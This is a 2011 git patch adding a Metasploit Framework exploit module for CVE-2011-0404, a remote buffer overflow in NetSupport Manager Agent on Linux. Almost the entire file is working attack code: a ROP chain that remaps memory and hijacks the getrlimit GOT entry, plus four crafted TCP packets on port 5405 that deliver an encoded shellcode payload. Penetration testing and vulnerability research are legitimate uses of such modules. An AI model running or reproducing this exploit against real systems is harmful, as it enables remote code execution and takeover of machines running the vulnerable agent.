From c7f6324fbd00e2e9f358d757e790fbf7ea6b2c03 Mon Sep 17 00:00:00 2001 From: Joshua Drake Date: Thu, 3 Mar 2011 01:04:24 +0000 Subject: [PATCH] add cve-2011-0404 exploit from Evan git-svn-id: file:///home/svn/framework3/trunk@11867 4d416f70-5f16-0410-b530-b9f4589650da --- .../linux/misc/netsupport_manager_agent.rb | 185 ++++++++++++++++++ 1 file changed, 185 insertions(+) create mode 100644 modules/exploits/linux/misc/netsupport_manager_agent.rb diff --git a/modules/exploits/linux/misc/netsupport_manager_agent.rb b/modules/exploits/linux/misc/netsupport_manager_agent.rb new file mode 100644 index 0000000000..44781ed0de --- /dev/null +++ b/modules/exploits/linux/misc/netsupport_manager_agent.rb @@ -0,0 +1,185 @@ +## +# $Id: $ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = AverageRanking + + include Msf::Exploit::Remote::Tcp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'NetSupport Manager Agent Remote Buffer Overflow', + 'Description' => %q{ + This module exploits a buffer overflow in NetSupport Manager Agent. It + uses a similar ROP to the proftpd_iac exploit in order to avoid non executable stack. + }, + 'Author' => + [ + 'Luca Carettoni (@_ikki)', # original discovery / exploit + 'Evan', # ported from exploit-db exploit + 'jduck' # original proftpd_iac ROP, minor cleanups + ], + 'Arch' => ARCH_X86, + 'License' => MSF_LICENSE, + 'Version' => '$Revision: $', + 'References' => + [ + [ 'CVE', '2011-0404' ], + [ 'OSVDB', '70408' ], + [ 'URL', 'http://www.exploit-db.com/exploits/15937/' ] + ], + 'Privileged' => true, + 'Platform' => 'linux', + 'Payload' => + { + 'Space' => 0x975, + 'BadChars' => "", + 'DisableNops' => true, + }, + 'Targets' => + [ + [ 'linux', + { + 'Ret' => 0x0805e50c, # pop eax ; pop ebx ; pop ebp ;; + 'Pad' => 975, + 'RopStack' => + [ + ### mmap isn't used in the binary so we need to resolve it in libc + 0x00041160, # mmap64 - localtime + 0xa9ae0e6c, # 0x8092b30 - 0x5e5b1cc4, localtime will become mprotect + 0xcccccccc, + 0x08084662, # add DWORD PTR [ebx+0x5e5b1cc4],eax; pop edi; pop ebp ;; + 0xcccccccc, + 0xcccccccc, + 0x080541e4, # localtime@plt (now mmap64) + 0x080617e3, # add esp 0x10 ; pop ebx ; pop esi ; pop ebp ;; + 0, 0x20000, 0x7, 0x22, 0xffffffff, 0, # mmap64 arguments + 0x0, # unused + 0x08066332, # pop edx; pop ebx; pop ebp ;; + "\x89\x1c\xa8\xc3".unpack('V').first, # mov [eax+ebp*4], ebx + 0xcccccccc, + 0xcccccccc, + 0x080555c4, # mov [eax] edx ; pop ebp ;; + 0xcccccccc, + #0x0807385a, # push eax ; adc al 0x5d ;; + + ### this is the stub used to copy shellcode from the stack to + ### the newly mapped executable region + #\x8D\xB4\x24\x7D\xFB\xFF # lea esi,[dword esp-0x483] + #\x8D\x78\x12 # lea edi,[eax+0x12] + #\x6A\x7F # push byte +0x7f + #\x59 # pop ecx + #\xF3\xA5 # rep movsd + + ### there are no good jmp eax so overwrite getrlimits GOT entry + 0x0805591b, # pop ebx; pop ebp ;; + 0x08092d68 - 0x4, # 08092d68 0002f007 R_386_JUMP_SLOT 00000000 getrlimit + 0x1, # becomes ebp + 0x08084f38, # mov [ebx+0x4] eax ; pop ebx ; pop ebp ;; + 0xfb7c24b4, # become eb + 0x01, + 0x08054ac4, # + 0x0805591b, # pop ebx; pop ebp ;; + #0xffff8d78, # become ebx + 0x788dffff, + 0x2, + 0x08054ac4, # + 0x0805591b, # pop ebx; pop ebp ;; + 0x597f6a12, + 0x3, + 0x08054ac4, # + 0x0805591b, # pop ebx; pop ebp ;; + 0x9090a5f2, + 0x4, + 0x08054ac4, # + 0x0805591b, # pop ebx; pop ebp ;; + 0x8d909090, + 0x0, + 0x08054ac4, # + 0xcccccccc, + 0x01010101, + ] + } + ] + ], + 'DisclosureDate' => 'Feb 12 2010', + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(5405), + ], self.class) + end + + def exploit + connect + + #pop_eax_ebx ; + #0x8084662 # add DWORD PTR [ebx+0x5e5b1cc4],eax ;; + triggerA = "\x15\x00\x5a\x00" + "\x41" * 1024 + "\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + triggerB = "\x25\x00\x51\x00\x81\x41\x41\x41\x41\x41\x41\x00" + + "\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00" + + triggerC = "\x37\x00\x03\x00\x0a\x00\x00\x00\x00\x00\x58\xb4" + + "\x92\xff\x00\x00\x69\x6b\x6b\x69\x00\x57\x4f\x52" + + "\x4b\x47\x52\x4f\x55\x50\x00\x3c\x3e" + #pleasure trail + #"\xcc" + + "\x90" + + payload.encoded + + "\xcc" * (target['Pad'] - payload.encoded.length) + + [target.ret].pack('V') + + new = '' + if target['RopStack'] + new << target['RopStack'].map { |e| + if e == 0xcccccccc + rand_text(4).unpack('V').first + else + e + end + }.pack('V*') + end + + triggerC << new + triggerC << "\x00" * 4 + triggerC << "\x00\x00\x31\x32\x2e\x36\x32\x2e\x31\x2e\x34\x32" + triggerC << "\x30\x00\x31\x30\x00\x00" + + triggerD = "\x06\x00\x07\x00\x20\x00\x00\x00\x0e\x00\x32\x00" + + "\x01\x10\x18\x00\x00\x01\x9f\x0d\x00\x00\xe0\x07" + + "\x06\x00\x07\x00\x00\x00\x00\x00\x02\x00\x4e\x00" + + "\x02\x00\xac\x00\x04\x00\x7f\x00\x00\x00" + + print_status("Sending A") + sock.put(triggerA) + select(nil, nil, nil, 1) + + print_status("Sending B") + sock.put(triggerB) + select(nil, nil, nil, 1) + + print_status("Sending C") + sock.put(triggerC) + select(nil, nil, nil, 1) + + print_status("Sending D") + sock.put(triggerD) + select(nil, nil, nil, 1) + + disconnect + end +end